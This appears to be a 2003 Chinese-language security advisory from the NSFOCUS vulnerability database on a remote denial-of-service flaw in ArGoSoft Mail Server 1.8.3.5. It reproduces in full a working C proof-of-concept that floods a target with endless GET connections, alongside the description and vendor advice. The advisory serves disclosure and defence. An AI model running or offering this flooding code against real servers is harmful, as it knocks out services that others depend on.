安全研究

安全漏洞
ArGoSoft Mail Server远程拒绝服务攻击漏洞

发布日期:2003-06-07
更新日期:2003-06-13

受影响系统:
ArGoSoft Mail Server 1.8.3.5
描述:
ArGoSoft Mail Server Pro是一款支持POP3/SMTP/FINGER及WEBMAIL的邮件服务程序,可使用在Microsoft Windows操作系统下。

ArGoSoft Mail服务器对多个GET请求处理不正确,远程攻击者可以利用这个漏洞对邮件服务进行拒绝服务攻击。

攻击者提交多个'GET'请求可导致ArGoSoft Mail服务器崩溃,此命令可以由任何用户提交,并且不需要验证。

<*来源:rushjo (Rushjo@tripbit.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105536775214694&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

rushjo (Rushjo@tripbit.org)提供了如下测试方法:

/**********************************************************************************
*
* Denial of Service Attack against ArGoSoft Mail Server Version 1.8
(1.8.3.5)
*
* Tripbit Security Development
* ---------------------------------
*
* Author: posidron
*
* Contact
* [-] Mail: posidron@tripbit.org
* [-] Web: http://www.tripbit.org
* [-] Forum: http://www.tripbit.org/wbboard
* [-] IRC: irc.euirc.net 6667 #tripbit
*
* Greets: Rushjo, Tec, STeFaN, Havoc][, MisterMoe, PeaceTreaty
*
**********************************************************************************/


#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>


int main(int argc, char *argv[])
{
    int port, sockfd;
    struct sockaddr_in server;
    struct hostent *host;
    char sendstring[1024];
    
    strcpy(sendstring, "GET /index.html HTTP/1.0\n\n");
    
    if(argc < 3)
    {
        printf("Usage: %s [target] <port>\n", argv[0]);
        exit(0);
    }
    
    port = atoi(argv[2]);
    
    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
        printf("Connection failed!...\n");
        exit(0);
    }
    
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr((char*)argv[1]);
    
    printf("Dos against ArGoSoft Mail Server Version 1.8 (1.8.3.5)\n");
    
    for(;;)
    {
        if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
        {
            printf("socket() failed!\n");
            exit(0);
        }


        if(connect(sockfd, (struct sockaddr*)&server, sizeof(server)) < 0)
        {
            printf("connect() failed!\n");
            close(sockfd);
        }
        
        if (write(sockfd, sendstring, strlen(sendstring)) < 0)
        {
            break;
        }
        
        close(sockfd);
    }


    printf("Attack done!...\n");
}

建议:
厂商补丁:

ArGoSoft
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.argosoft.com/applications/mailserver/

浏览次数:3360
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障